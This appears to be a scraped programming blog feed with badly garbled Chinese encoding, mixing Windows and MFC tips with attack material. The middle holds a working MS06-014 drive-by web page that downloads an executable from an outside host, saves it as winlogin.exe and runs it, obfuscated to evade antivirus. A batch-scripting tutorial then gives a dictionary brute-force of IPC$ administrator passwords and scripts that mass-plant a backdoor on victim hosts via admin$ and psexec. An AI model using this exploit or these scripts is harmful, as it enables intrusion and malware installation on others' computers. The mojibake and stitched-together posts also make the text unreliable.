??xml version="1.0" encoding="utf-8" standalone="yes"?> You can disable digitally signed signatures, however it is not recommended. Step 1: Click Start button on the left bottom corner of desktop. In the search box, type "cmd" IMPORTANT:make a backup of your bcd file first. To do that, type: Then type these commands: When a memory device context is created, GDI automatically selects a
monochrome stock bitmap for it. 虽然我们热切期望q且微Y也应该把q些图标作ؓ(f)开发包的一部分免费发布Q这样以利于Windows应用的界面风格统一。但是,目前微Yq未许可免费使用?/p> |博士论?http://www.citom.com/forum http://www.neowin.net/forum/index.php?showtopic=159107&hl=toolbar http://www.winmatrix.com/forums/index.php?showtopic=1008&st=0
1) disable driver digital signatures
http://answers.microsoft.com/en-us/windows/forum/windows_7-windows_programs/turning-off-digital-signatures/23c67c73-3fa0-4de3-a9b5-3adf4c3472f3
Important: The driver signing enforcement in Windows 7 and Vista is there for a reason. Unsigned drivers could theoretically contain malicious code and harm your computer.
Step 2: Go to Run command, and right click on command prompt and click on "Run as administrator".
Step 3: In the command prompt, type in these commands: Be very careful here. BCDEDIT controls how your computer boots up.
bcdedit /export C:\savedbcd
This will create a file c:\savebcd which is your boot entry backup.
If you mess up, you can always undo changes by:
bcdedit /import c:\savedbcd
bcdedit.exe -set loadoptions DDISABLE_INTEGRITY_CHECKS
bcdedit.exe -set TESTSIGNING ON
After you finished the steps above mentioned, you have made digital driver signing signature disabled for all installation. So you can install device drivers on Windows 7 without warning message that those drivers should be digitally signed.
2) install gpedit on window 7 basic
http://www.askvg.com/how-to-enable-group-policy-editor-gpedit-msc-in-windows-7-home-premium-home-basic-and-starter-editions/comment-page-4/#comments
NOTE: For Windows 7 64-bit (x64) users! You'll also need to go to "SysWOW64" folder present in C:\Windows folder and copy "GroupPolicy", "GroupPolicyUsers" folders and gpedit.msc file from there and paste them in "C:\Windows\System32" folder.
http://www.shnenglu.com/Files/aqazero/add_gpedit_msc_by_jwils876-d3kh6vm.zip
3) uninstall AOL
http://answers.yahoo.com/question/index?qid=20061224095808AAMxsCT
AOL ANTIVIRUS AOL SPYWARE PROTECTION AOL FIREWALL AOL SAFETY AND SECURITY CENTER
http://forums.techguy.org/digital-photography-imaging/536280-alternate-solution-printer-driver-unknown.html
]]>
Method A:
Method B (my way):
2
3 LRESULT FAR PASCAL GetMsgProc(int nCode, WPARAM wParam, LPARAM lParam)
4 {
5 AFX_MANAGE_STATE(AfxGetStaticModuleState( ));
6
7 LPMSG lpMsg = (LPMSG) lParam;
8 if( (nCode >= 0) && PM_REMOVE == wParam)
9 {
10 //your code here. maybe to deal with hot-keys, accelerators ...
11 //see http://support.microsoft.com/kb/187988
12
13 //my code to simulate OnIdle
14 static BOOL bIdle = FALSE;
15 CWinApp* pApp = AfxGetApp();
16 if(!bIdle && pApp->IsIdleMessage(lpMsg))
17 bIdle = TRUE;
18
19 if(bIdle)
20 {
21 MSG msgPeek = {0};
22 if(!::PeekMessage(&msgPeek, NULL, NULL, NULL, PM_NOREMOVE))
23 {
24 VERIFY(PostMessage(AfxGetMainWnd()->GetSafeHwnd(), WM_USER+0x12, 0x34, 0x56));
25 }
26 }
27
28 if(lpMsg->hwnd == AfxGetMainWnd()->GetSafeHwnd() &&
29 lpMsg->message == WM_USER+0x12 && lpMsg->wParam == 0x34 && lpMsg->lParam == 0x56)
30 {
31 lpMsg->message = WM_NULL;
32 lpMsg->lParam = 0L;
33 lpMsg->wParam = 0L;
34
35 pApp->OnIdle(0);
36 bIdle = FALSE;
37 }
38 }
39
40 return ::CallNextHookEx(s_hGetMsgHook, nCode, wParam, lParam);
41 }
42
43 int CYourOleControl::OnCreate(LPCREATESTRUCT lpCreateStruct)
44 {
45 //...
46
47 if(NULL == s_hGetMsgHook)
48 s_hGetMsgHook = ::SetWindowsHookEx(WH_GETMESSAGE, GetMsgProc, AfxGetInstanceHandle(), GetCurrentThreadId());
49 }
50
51 void CYourOleControl::OnDestroy()
52 {
53 //...
54
55 ::UnhookWindowsHookEx(s_hGetMsgHook);
56 s_hGetMsgHook = NULL;
57
58 COleControl::OnDestroy();
59 }
Method A is far more simple, but with Method B:
1) You can override CWinApp::IsIdleMessage to filter some special messages, such as a frequent timer which will not affect what you want to do in CWinApp::OnIdle. Because timer will affect message queue and if you don't filter it, OnIdle will be called every time after the timer is invoked.
2) Sometimes your action in OnIdle will affect message queue inevitably, thus you will get a infinite loop: OnIdle->the special messages in message queue->OnIdle->... But with Method B, with SPY++ you can find the special messages, and filter them in IsIdleMessage.
]]>
http://stackoverflow.com/questions/313792/disabling-progress-bar-animation-on-vista-aero
http://msdn.microsoft.com/en-us/library/aa511486.aspx
?meters"? 没空啊?br>
我的暴力Ҏ(gu)是:(x)
g_xpStyle 是那个 CVisualStylesXPQ?google 一下就有了?br>
]]>
Z间最痛苦的事莫过于此?br>
]]>
And now, sometimes , i need CMyDialog to be a model dialog (WS_POPUP), sometimes be a child of another dialog(WS_CHILD).
How to make this done without duplicating the template in resource?
Call ModifyStyle after creation? Failed
Modify the LPCREATESTRUCT's style in CMyDialog::OnCreate ? Failed.
Override PreCreateWindow? Failed.
After a lot of tracing and a lot of googling. I worked out something like this:
{
if(!IsWindow(pParent->GetSafeHwnd()))
return FALSE;
m_lpszTemplateName = ATL_MAKEINTRESOURCE(IDD_WALLLAYER_PROPERTYPAGE); // used for help
if (m_nIDHelp == 0)
m_nIDHelp = LOWORD((DWORD_PTR)m_lpszTemplateName);
HINSTANCE hInst = AfxFindResourceHandle(m_lpszTemplateName, RT_DIALOG);
HRSRC hResource = ::FindResource(hInst, m_lpszTemplateName, RT_DIALOG);
HGLOBAL hTemplate = LoadResource(hInst, hResource);
LPCDLGTEMPLATE lpDialogTemplate = (LPCDLGTEMPLATE)LockResource(hTemplate);
DLGTEMPLATEEX* lpDlgTmpEx = (DLGTEMPLATEEX* )lpDialogTemplate;
DWORD dwOldStyle = 0;
BOOL bIsDlgEx = lpDlgTmpEx->signature == 0xFFFF;
if(bIsDlgEx)
{
dwOldStyle = lpDlgTmpEx->style;
lpDlgTmpEx->style = DS_SETFONT | WS_CHILD;
}
else
{
dwOldStyle = ((LPDLGTEMPLATE)lpDialogTemplate)->style;
((LPDLGTEMPLATE)lpDialogTemplate)->style = DS_SETFONT | WS_CHILD;
}
m_lpDialogInit = NULL;
BOOL bResult = CreateDlgIndirect(lpDialogTemplate, pParent, hInst);
if(bIsDlgEx)
lpDlgTmpEx->style = dwOldStyle;
else
((LPDLGTEMPLATE)lpDialogTemplate)->style = dwOldStyle;
UnlockResource(hTemplate);
FreeResource(hTemplate);
return bResult;
}
If you need your dialog to behavior as WS_POPUP or WS_CHILD without duplicating your dialog template, you just get an ugly answer. And anyone who know another better way, let me know please.
MFC
]]>
VERIFY(dcMem.CreateCompatibleDC(NULL));
CBitmap bmp;
VERIFY(bmp.CreateCompatibleBitmap(&dc,100,100));
CBitmap * pOld = dcMem.SelectObject(&bmp);
dcMem.FillSolidRect(0,0,100,100,RGB(255,0,0));
dcMem.MoveTo(0,0);
dcMem.LineTo(100,100);
dc.BitBlt(0,0,100,100,&dcMem,0,0,SRCCOPY);
dcMem.SelectObject(pOld);
these codes will run smoothly. but you will get nothing other a bitmap either black or white.
See what MSDN says:
CBitmap::CreateCompatibleBitmap
If pDC is a memory device context, the bitmap returned has the same
format as the currently selected bitmap in that device context.
Solution:
1) pass in a CPaintDC instead of a memory dc
2) just replace VERIFY(bmp.CreateCompatibleBitmap(&dc,100,100)); with bmp.CreateBitmap(100,100,1,32,NULL);
]]>
]]>
for python:
http://cgkit.sourceforge.net/doc2/module-cgkit.wintab.html
http://www.gtcocalcomp.com/developers.php
]]>
http://www.csharphelp.com/archives2/archive334.html
http://www.eggheadcafe.com/articles/20030511.asp
]]>
scroll bar in .netCFW
http://www.c-sharpcorner.com/UploadFile/mgold/PocketPackingList11082006213122PM/PocketPackingList.aspx
]]>
a great book about Algorithm http://www2.toki.or.id/book/AlgDesignManual/INDEX.HTM
sql server developer
http://beta.verycd.com/groups/@g19046/135284.topic
http://beta.verycd.com/groups/@g19046/64613.topic
A great idea about context help:
1)http://www.codeproject.com/csharp/ContextHelpMadeEasy.asp
2)http://netpl.blogspot.com/2007/07/context-help-made-easy-revisited.html
How to deal with hotkey / accelerator keys in activex
http://support.microsoft.com/?scid=kb;EN-US;Q187988
You know how to google ,you know almost every thing.
]]>
for user:
安装E序?http://www.shnenglu.com/Files/aqazero/brentExcelAddinSetup_fm.zip
excel文g格式参?http://www.shnenglu.com/Files/aqazero/example_brentAddin.zip
很烂的源码:(x)http://www.shnenglu.com/Files/aqazero/BrentAddin.rar
]]>
<
html
>
<
script
language
="VBScript"
>
on
error
resume
next
'
卛_下蝲的木?/span>
dl
=
"
ht#tp://ww#w.800vv.com/cc/cj.exe#
"
'
创徏OBJECT元素
Set
df
=
document.createElement(
"
object
"
)
'
指定OBJECT为RDS.DataSpace
'
该对象有一个方法名为CreateObjectQ?/span>
'
helpstring("Creates a business object of the specified Progid over the specified connection")
df.setAttribute
"
classid
"
,
"
clsid:BD96C556-65A3-11D#0-983A-00C04F#C29E36
"
'
str
=
"
Microsoft.XMLHTTP
"
'
RDS.DataSpace.CreateObject("Microsoft.XMLHTTP","")
Set
x
=
df.CreateObject(str,
""
)
'
4545
a1
=
"
A#do
"
a2
=
"
db.
"
a3
=
"
Str
"
a4
=
"
eam
"
'
str5 = "Adodb.Stream" 分成q么多段是ؓ(f)了掩目
str1
=
a1
&
a2
&
a3
&
a4
str5
=
str1
'
RDS.DataSpace.CreateObject("Ado#db.Str#eam","")
set
S
=
df.createobject(str5,
""
)
'
5455
S.type
=
1
str6
=
"
GET
"
'
Microsoft.XMLHTTP.Open "GET" "ht#tp://ww#w.800vv.com/cc/cj.exe#" False
'
下蝲木马
x.Open str6, dl,
False
x.Send
'
本地文g?/span>
fname1
=
"
winlogin.exe
"
'
888
set
F
=
df.createobject(
"
Scri#pting.FileSy#stemObject
"
,
""
)
'
获取临时目录
set
tmp
=
F.GetSpecialFolder(
2
)
'
创徏本地文g
fname1
=
F.BuildPath(tmp,fname1)
'
Adodb.Stream.open
S.open
'
Adodb.Stream.write 木马代码
S.write x.responseBody
'
Adodb.Stream.savetofile "临时目录\winlogin.exe"
S.savetofile fname1,
2
'
6551
S.close
'
458
set
Q
=
df.createobject(
"
Shell.Application
"
,
""
)
'
q行 临时目录\winlogin.exe
Q.ShellExecute fname1,
""
,
""
'
55
</
script
>
<
head
>
<
title
>
icexiaoyeMS06-014免杀|马
</
title
>
</
head
><
body
>
<
center
>
icexiaoyeMS06-014免杀|马
</
center
>
</
body
>
<
script
type
="text/jscript"
>
function
init()
{
document.write(Date());
}
window.onload
=
init;
</
script
>
</
html
>
一般来_(d)script是无法写本地文g的。。这D代码利用了Microsoft Data Access Components (MDAC)的一个安全漏z来写本地文件?img src ="http://www.shnenglu.com/aqazero/aggbug/12944.html" width = "1" height = "1" />
]]>
Z对MS Office 2003界面研究的兴,最q收集了如何提取Office 2003工具栏图标的相关链接q略加翻译整理,怿Ҏ(gu)感兴的不止我一个,Ҏ(gu)׃n?
1.ZQ?/h1>
2.条g
3.步骤
如果提示宏被用Q进入Excel菜单-〉工?〉宏-〉安全性,把安全别设Z再次q行q确认启用宏?
4.问题
׃图标数目非常之大、ƈ且尺寸很,使用资源理器的~略囑֒qȝ片等方式查看都不合适,而合q后的大图每排有50个,共有50排,看v来也是眼q乱。因此,要从中挑选合适的图标需要一定的技巧。我的经验是首先通过使用Office2003对大概有哪些图标有个整体了解Q其ơ是使用大图对图标的分布有个大致了解Q相关的图标通常在一PQ然后可使用ACDSEE的羃略图查看QACDSEE默认的羃略图寸也不适合查看图?可在"工具-〉选项-〉文件列?〉羃略图昄"中设|羃略图大小?0*30 (ACDSEE6.0版本Q?
我所知,所有图标都在这里了。但有时仍然?x)出现找不到在Office2003界面中见q的图标Q这旉要耐心同时要注意有的图标(如左寚wQ本w就是黑色的Q在查看时会(x)发现很多全黑色的图标Q其中可能就有你要的图标。对q类图标可在Photoshop中打开Q在通道面板中把Alpha通道昄选中卛_看清图标原貌?5.注意
6.相关链接
]]>
实在是牛啊!Z开始以为是用javascript来做?查看了例子的源代码后发现不是.
那么q个acitvex控g臛_应该可以获得ie 览器的接口IWebBrowser2,但它是怎么做的?
一开始我的思\?ie览器作Z个容?它是否同时实CIOleContainer和IWebBrowser2?试验发现不对...l过多方google,扑ֈCSDN中shanhe的专?a >http://blog.csdn.net/shanhe/category/15859.aspx?PageNumber=2
扑ֈ可行的代码如?
IOleContainer* pContainer;
HRESULT hr = m_pClientSite->GetContainer(&pContainer);
if (FAILED(hr))
return hr;
IServiceProvider* pServiceProvider;
hr = pContainer->QueryInterface(IID_IServiceProvider,
(void**)&pServiceProvider);
pContainer->Release();
if (FAILED(hr))
return hr;
IWebBrowser2* pWebBrowser;
hr = pServiceProvider->QueryService(SID_SWebBrowserApp,
IID_IWebBrowser2,
(void**)&pWebBrowser);
pServiceProvider->Release();
if (FAILED(hr))
return hr;
可以获取了IWebBrowser2接口,但如何读取html元素的值呢?IWebBrowser2接口g没有q个功能?
又是千山万水的google:
vckbase:
http://vckbase.net/document/viewdoc/?id=1446
codeguru:
http://www.codeguru.com/Cpp/COM-Tech/atl/misc/article.php/c3619/
msdn 2003 :
MSHTML ReferenceHOWTO: Get the WebBrowser Object Model of an HTML Frame
HOWTO: Retrieve the URL of a Web Page from an ActiveX Control
msdn关于MSHTML的参考也够烂Q列Z堆接口方法就不管了。究竟结构如何要自己ȝI。M很是不爽?/p>
如果没有一定的相关知识恐怕不Ҏ(gu)看懂和理解批处理文gQ也更谈不上自己动手编写了
批处理文件是无格式的文本文gQ它包含一条或多条命o(h)。它的文件扩展名?.bat ?.cmd。在命o(h)提示下键入批处理文g的名Uͼ或者双击该批处理文Ӟpȝ׃(x)调用Cmd.exe按照该文件中各个命o(h)出现的顺序来逐个q行它们。用批处理文gQ也被称为批处理E序或脚本)Q可以简化日常或重复性Q务。当然我们的q个版本的主要内Ҏ(gu)介绍批处理在入R中一些实际运用,例如我们后面要提到的用批处理文g来给pȝ打补丁、批量植入后门程序等。下面就开始我们批处理学习(fn)之旅吧?/p>
一.单批处理内部命o(h)?br />1.Echo 命o(h)
打开回显或关闭请求回昑֊能,或显C消息。如果没有Q何参敎ͼecho 命o(h)显C当前回显设|?br />语法
echo [{ on|off }] [message]
SampleQ@echo off / echo hello world
在实际应用中我们?x)把q条命o(h)和重定向W号Q也UCؓ(f)道W号Q一般用> >> ^Q结合来实现输入一些命令到特定格式的文件中.q将在以后的例子中体现出来?/p>
2.@ 命o(h)
表示不显C@后面的命令,在入侵过E中Q例如用批处理来格式化敌h的硬盘)自然不能让对方看C使用的命令啦?br />SampleQ@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format q个命o(h)是不可以使用/yq个参数的,可喜的是微Y留了个autosetq个参数l我们,效果?y是一L(fng)?
3.Goto 命o(h)
指定跌{到标{,扑ֈ标签后,E序处理从下一行开始的命o(h)?br />语法Qgoto label Qlabel是参敎ͼ指定所要{向的批处理程序中的行。)
SampleQ?br />if { %1 }=={ } goto noparms
if { %2 }=={ } goto noparmsQ如果这里的if?1?2你不明白的话Q先跌去,后面?x)有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便vQ但是最好是有意义的字母啦,字母前加个:(x)用来表示q个字母是标{,goto命o(h)是Ҏ(gu)q个Q来L下一步蟩到到那里。最好有一些说明这样你别h看v来才?x)理解你的意囑֕?/p>
4.Rem 命o(h)
注释命o(h)Q在C语言中相当与/*--------*/,它ƈ不会(x)被执行,只是起一个注释的作用Q便于别人阅d你自己日后修攏V?br />Rem Message
SampleQ@Rem Here is the description.
5.Pause 命o(h)
q行 Pause 命o(h)Ӟ显CZ面的消息Q?br />Press any key to continue . . .
SampleQ?br />@echo off
:begin
copy a:*.* dQ?/back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中Q驱动器 A 中磁盘上的所有文件均复制到d://back中。显C的注释提示(zhn)将另一张磁盘放入驱动器 A Ӟpause 命o(h)?x)ɽE序挂vQ以便?zhn)更换盘Q然后按L键l处理?/p>
6.Call 命o(h)
从一个批处理E序调用另一个批处理E序Qƈ且不l止父批处理E序。call 命o(h)接受用作调用目标的标{。如果在脚本或批处理文g外?CallQ它?yu)不会(x)在命o(h)行v作用?br />语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive: }[Path] FileName
指定要调用的批处理程序的位置和名U。filename 参数必须h .bat ?.cmd 扩展名?/p>
7.start 命o(h)
调用外部E序Q所有的DOS命o(h)和命令行E序都可以由start命o(h)来调用?br />入R常用参数Q?br />MIN 开始时H口最化
SEPARATE 在分开的空间内开?16 ?Windows E序
HIGH ?HIGH 优先U类别开始应用程?br />REALTIME ?REALTIME 优先U类别开始应用程?br />WAIT 启动应用E序q等候它l束
parameters q些Z送到命o(h)/E序的参?br />执行的应用程序是 32-?GUI 应用E序ӞCMD.EXE 不等应用E序l止p回命令提C。如果在命o(h)脚本内执行,该新行ؓ(f)则不?x)发生?br />8.choice 命o(h)
choice 使用此命令可以让用户输入一个字W,从而运行不同的命o(h)。用时应该?c:参数Qc:后应写提C可输入的字W,之间无空根{它的返回码?234…?br />? choice /c:dme defrag,mem,end
显C?br />defrag,mem,end[D,M,E]?
SampleQ?br />Sample.bat的内容如?
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag Q应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end
:defrag
c://dos//defrag
goto end
:mem
mem
goto end
:end
echo good bye
此文件运行后Q将昄 defrag,mem,end[D,M,E]? 用户可选择d m e Q然后if语句作出判断,d表示执行标号为defrag的程序段Qm表示执行标号为mem的程序段Qe表示执行标号为end的程序段Q每个程序段最后都以goto end程序蟩到end标号处,然后E序显Cgood byeQ文件结束?/p>
9.If 命o(h)
if 表示判断是否符合规定的条gQ从而决定执行不同的命o(h)?有三U格?
1、if "参数" == "字符? 待执行的命o(h)
参数如果{于指定的字W串Q则条g成立Q运行命令,否则q行下一句?注意是两个等P
如if "%1"=="a" format a:
if { %1 }=={ } goto noparms
if { %2 }=={ } goto noparms
2、if exist 文g名 待执行的命o(h)
如果有指定的文gQ则条g成立Q运行命令,否则q行下一句?br />如if exist config.sys edit config.sys
3、if errorlevel / if not errorlevel 数字 待执行的命o(h)
如果q回码等于指定的数字Q则条g成立Q运行命令,否则q行下一句?br />如if errorlevel 2 goto x2
DOSE序q行旉?x)返回一个数字给DOSQ称为错误码errorlevel或称q回码,常见的返回码???/p>
10.for 命o(h)
for 命o(h)是一个比较复杂的命o(h)Q主要用于参数在指定的范围内循环执行命o(h)?br />在批处理文g中?FOR 命o(h)Ӟ指定变量请?%%variable
for { %variable|%%variable } in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数?br />(set) 指定一个或一l文件。可以用通配W?br />command 指定Ҏ(gu)个文件执行的命o(h)?br />command-parameters 为特定命令指定参数或命o(h)行开兟?br />在批处理文g中?FOR 命o(h)Ӟ指定变量请?%%variable
而不要用 %variable。变量名U是区分大小写的Q所?%i 不同?%I
如果命o(h)扩展名被启用Q下列额外的 FOR 命o(h)格式?x)受?br />支持:
FOR /D %variable IN (set) DO command [command-parameters]
如果集中包含通配W,则指定与目录名匹配,而不与文?br />名匹配?/p>
FOR /R [[drive:]path] %variable IN (set) DO command [command-
(g)查以 [drive:]path 为根的目录树(wi)Q指向每个目录中?br />FOR 语句。如果在 /R 后没有指定目录,则用当?br />目录。如果集仅ؓ(f)一个单?.)字符Q则枚D该目录树(wi)?/p>
FOR /L %variable IN (start,step,end) DO command [command-para
该集表示以增量Ş式从开始到l束的一个数字序列?br />因此Q?1,1,5) 生序?1 2 3 4 5Q?5,-1,1) ?br />序列 (5 4 3 2 1)?/p>
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (/'command/') DO command
或者,如果?usebackq 选项:
FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (/'command/') DO command
filenameset Z个或多个文g名。l到 filenameset 中的
下一个文件之前,每䆾文g都已被打开、读取ƈl过处理?br />处理包括d文gQ将其分成一行行的文字,然后每?br />解析成零或更多的W号。然后用已找到的W号字符串变量?br />调用 For 循环。以默认方式Q?F 通过每个文g的每一行中分开
的第一个空白符受蟩q空白行。?zhn)可通过指定可?"options"
参数替代默认解析操作。这个带引号的字W串包括一个或多个
指定不同解析选项的关键字。这些关键字?
eol=c - 指一个行注释字符的结?׃?
skip=n - 指在文g开始时忽略的行数?br />delims=xxx - 指分隔符集。这个替换了I格和蟩格键?br />默认分隔W集?br />tokens=x,y,m-n - 指每行的哪一个符可传递到每个q代
?for 本n。这?x)导致额外变量名U的
格式Z个范围。通过 nth W号指定 m
W号字符串中的最后一个字W星P
那么额外的变量将在最后一个符可析之
分配q接受行的保留文本?br />usebackq - 指定新语法已在下cL况中使用:
在作为命令执行一个后引号的字W串q且
引号字符为文字字W串命o(h)q允许在 fi
中用双引号扩v文g名称?/p>
sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command
?x)分?myfile.txt 中的每一行,忽略以分h头的那些行,?br />每行中的W二个和W三个符号传递给 for E序体;用逗号??br />I格定界W号。请注意Q这?for E序体的语句引用 %i ?br />取得W二个符P引用 %j 来取得第三个W号Q引?%k
来取得第三个W号后的所有剩余符受对于带有空格的文g
名,(zhn)需要用双引号将文g名括h。ؓ(f)了用q种方式来
用双引号Q?zhn)q需要?usebackq 选项Q否则,双引号会(x)
被理解成是用作定义某个要分析的字W串的?/p>
%i 专门?for 语句中得到说明,%j ?%k 是通过
tokens= 选项专门得到说明的。?zhn)可以通过 tokens= 一?br />指定最?26 个符P只要不试图说明一个高于字?/'z/' ?br />/'Z/' 的变量。请CQFOR 变量是单一字母、分大小写和全局的;
同时不能?52 个以上都在用中?/p>
(zhn)还可以在相dW串上?FOR /F 分析逻辑Q方法是Q?br />用单引号括号之间的 filenameset 括v来。这P该字W?br />串会(x)被当作一个文件中的一个单一输入行?/p>
最后,(zhn)可以用 FOR /F 命o(h)来分析命令的输出。方法是Q将
括号之间?filenameset 变成一个反括字W串。该字符串会(x)
被当作命令行Q传递到一个子 CMD.EXEQ其输出?x)被抓?br />内存Qƈ被当作文件分析。因此,以下例子:
FOR /F "usebackq delims==" %i IN (`set`) DO @echo %i
?x)枚丑ֽ前环境中的环境变量名U?/p>
另外QFOR 变量参照的替换已被增强。?zhn)现在可以使用下?br />选项语法:
~I - 删除M引号(")Q扩?%I
%~fI - ?%I 扩充C个完全合格的路径?br />%~dI - 仅将 %I 扩充C个驱动器?br />%~pI - 仅将 %I 扩充C个\?br />%~nI - 仅将 %I 扩充C个文件名
%~xI - 仅将 %I 扩充C个文件扩展名
%~sI - 扩充的\径只含有短名
%~aI - ?%I 扩充到文件的文g属?br />%~tI - ?%I 扩充到文件的日期/旉
%~zI - ?%I 扩充到文件的大小
%~$PATH:I - 查找列在路径环境变量的目录,q将 %I 扩充
到找到的W一个完全合格的名称。如果环境变?br />未被定义Q或者没有找到文Ӟ此组合键?x)扩?br />I字W串
可以l合修饰W来得到多重l果:
%~dpI - 仅将 %I 扩充C个驱动器号和路径
%~nxI - 仅将 %I 扩充C个文件名和扩展名
%~fsI - 仅将 %I 扩充C个带有短名的完整路径?br />%~dp$PATH:i - 查找列在路径环境变量的目录,q将 %I 扩充
到找到的W一个驱动器号和路径?br />%~ftzaI - ?%I 扩充到类D出线路的 DIR
在以上例子中Q?I ?PATH 可用其他有效数gѝ?~ 语法
用一个有效的 FOR 变量名终止。选取cM %I 的大写变量名
比较易读Q而且避免与不分大写的组合键h?/p>
以上是MS的官方帮助,下面我们丑և个例子来具体说明一下For命o(h)在入侵中的用途?/p>
sample2Q?/p>
利用For命o(h)来实现对一台目标Win2kL的暴力密码破解?br />我们用net use ////ip//ipc$ "password" /u:"administrator"来尝试这和目标主行连接,当成功时C密码?br />最主要的命令是一条:(x)for /f i% in (dict.txt) do net use ////ip//ipc$ "i%" /u:"administrator"
用i%来表Cadmin的密码,在dict.txt中这个取i%的值用net use 命o(h)来连接。然后将E序q行l果传递给find命o(h)Q-
for /f i%% in (dict.txt) do net use ////ip//ipc$ "i%%" /u:"administrator"|find ":命o(h)成功完成">>D://ok.txt Q这样就ko了?/p>
sample3Q?/p>
你有没有q手里有大量肉鸡{着你去U后门+木马呢?Q当数量特别多的时候,原本很开心的一件事都会(x)变得很郁P(x)Q。文章开头就谈到使用批处理文Ӟ可以化日常或重复性Q务。那么如何实现呢Q呵呵,看下M׃(x)明白了?/p>
主要命o(h)也只有一条:(x)Q在批处理文件中使用 FOR 命o(h)Ӟ指定变量使用 %%variableQ?br />@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call door.bat %%i %%j %%k
tokens的用法请参见上面的sample1Q在q里它表C按序victim.txt中的内容传递给door.bat中的参数%i %j %k?br />而cultivate.bat无非是用net use命o(h)来徏立IPC$q接Qƈcopy木马Q后门到victimQ然后用q回码(If errorlever =Q来{选成功种植后门的LQƈecho出来Q或者echo到指定的文g?br />delims= 表示vivtim.txt中的内容是一I格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根?%i %%j %%k表示的对象来排列Q一般就?ip password username?br />代码雏ŞQ?br />--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
@echo off
@if "%1"=="" goto usage
@for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k
@goto end
:usage
@echo run this batch in dos modle.or just double-click it.
:end
--------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------
------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------
@net use ////%1//ipc$ %3 /u:"%2"
@if errorlevel 1 goto failed
@echo Trying to establish the IPC$ connection …………OK
@copy windrv32.exe////%1//admin$//system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt
@psexec ////%1 c://winnt//system32//windrv32.exe
@psexec ////%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt
:failed
@echo Sorry can not connected to the victim.
----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------
q只是一个自动种植后门批处理的雏形,两个批处理和后门E序QWindrv32.exeQ?PSexec.exe需攑֜l一目录?批处理内?br />可扩展,例如:加入清除日志+DDOS的功?加入定时d用户的功?更深入一点可以之具备自动传播功?蠕虫).此处不多做叙q?有兴的朋友可自行研I?
?如何在批处理文g中用参?br />批处理中可以使用参数Q一般从1%?9%q九(ji)个,当有多个参数旉要用shift来移动,q种情况q不多见Q我们就不考虑它了?br />sample1Qfomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
q个例子用于q箋地格式化几张软盘Q所以用的时候需在dosH口输入fomat.bat aQ呵?好像有点画蛇添了~^_^
sample2Q?br />当我们要建立一个IPC$q接地时候总要输入一大串命o(h)Q弄不好打错了Q所以我们不如把一些固定命令写入一个批处理Q把肉鸡地ip password username 当着参数来赋l这个批处理Q这样就不用每次都打命o(h)了?br />@echo off
@net use ////1%//ipc$ "2%" /u:"3%" 注意哦,q里PASSWORD是第二个参数?br />@if errorlevel 1 echo connection failed
怎么?使用参数q是比较单的吧?你这么帅一定学?x)了^_^.No.3
?如何使用l合命o(h)(Compound Command)
1.&
UsageQ第一条命?& W二条命?[& W三条命?..]
用这U方法可以同时执行多条命令,而不命令是否执行成?/p>
SampleQ?br />C://>dir z: & dir c://Ex4rch
The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c://Ex4rch
2002-05-14 23:51 <DIR> .
2002-05-14 23:51 <DIR> ..
2002-05-14 23:51 14 sometips.gif
2.&&
UsageQ第一条命?&& W二条命?[&& W三条命?..]
用这U方法可以同时执行多条命令,当碰到执行出错的命o(h)后将不执行后面的命o(h)Q如果一直没有出错则一直执行完所有命令;
SampleQ?br />C://>dir z: && dir c://Ex4rch
The system cannot find the path specified.
C://>dir c://Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c://Ex4rch
2002-05-14 23:55 <DIR> .
2002-05-14 23:55 <DIR> ..
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.
在做备䆾的时候可能会(x)用到q种命o(h)?x)比较简单,如:(x)
dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E://backup
如果q程服务器上存在backup.mdb文gQ就执行copy命o(h)Q若不存在该文g则不执行copy命o(h)。这U用法可以替换IF exist?Q)
3.||
UsageQ第一条命?|| W二条命?[|| W三条命?..]
用这U方法可以同时执行多条命令,当碰到执行正的命o(h)后将不执行后面的命o(h)Q如果没有出现正的命o(h)则一直执行完所有命令;
SampleQ?br />C://Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of C://Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free
l合命o(h)使用的例子:(x)
sampleQ?br />@copy trojan.exe ////%1//admin$//system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt
四、管道命令的使用
1.| 命o(h)
UsageQ第一条命?| W二条命?[| W三条命?..]
第一条命令的l果作ؓ(f)W二条命令的参数来用,记得在unix中这U方式很常见?/p>
sampleQ?br />time /t>>D://IP.log
netstat -n -p tcp|find ":3389">>D://IP.log
start Explorer
